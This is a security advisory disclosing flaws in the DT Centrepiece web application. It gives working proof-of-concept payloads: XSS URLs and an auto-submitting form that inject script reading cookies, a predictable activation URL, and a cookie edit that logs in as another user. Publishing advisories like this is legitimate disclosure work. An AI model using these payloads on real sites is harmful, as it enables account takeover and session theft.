Multiple Vulnerabilities in DT Centrepiece

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in DT Centrepiece which could be exploited to perform cross-site scripting attacks and bypass certain security restrictions.

1) Cross-site scripting (XSS) vulnerabilities in DT Centrepiece
1.1 The vulnerability exists due to input sanitation error in the "searchFor" parameter in search.asp. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://host/search.asp?searchFor=%22%3E%3Cscript%3Ealert%28document.cookie%2 9%3C/script%3E
1.2 The vulnerability exists due to input sanitation error in the "c" parameter in login.asp. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://host/login.asp?c=/%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/scr ipt%3E
1.3 The vulnerability exists due to input sanitation error in the "user" parameter in register.asp. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form name="main" method="POST" action="http://host/register.asp">
<input type="hidden" name="frmRegisterCheck" value="true">
<input type="hidden" name="user" value='"><script>alert(document.cookie)</script>'>
<input type="hidden" name="pass" value="">
<input type="hidden" name="confirmPass" value="">
<input type="hidden" name="FirstName" value="">
<input type="hidden" name="LastName" value="">
<input type="hidden" name="EmailAddress" value="">
<input type="hidden" name="Address" value="">
<input type="hidden" name="Country" value="">
<input type="hidden" name="Landline" value="">
<input type="hidden" name="Mobile" value="">
</form>
<script>
document.main.submit();
</script>

2) Security weakness in account activation mechanism in DT Centrepiece
The weakness exists due to application using predictable URL to activate user accounts. A remote attacker can activate arbitrary accounts without receiving email confirmation. Successful exploitation requires knowledge of the username.
Exploitation example:
http://host/activate.asp?p=USERNAME

3) Security bypass vulnerability in DT Centrepiece
The vulnerability exists in the way application uses cookies to automatically authenticate users. A remote attacker can modify the MM_Remember_Username cookie and gain access to the application with privileges of another user.
Exploitation example:
Modify the following cookie:
MM_Remember_Username=USERNAME
where USERNAME is the name of existing account in the application.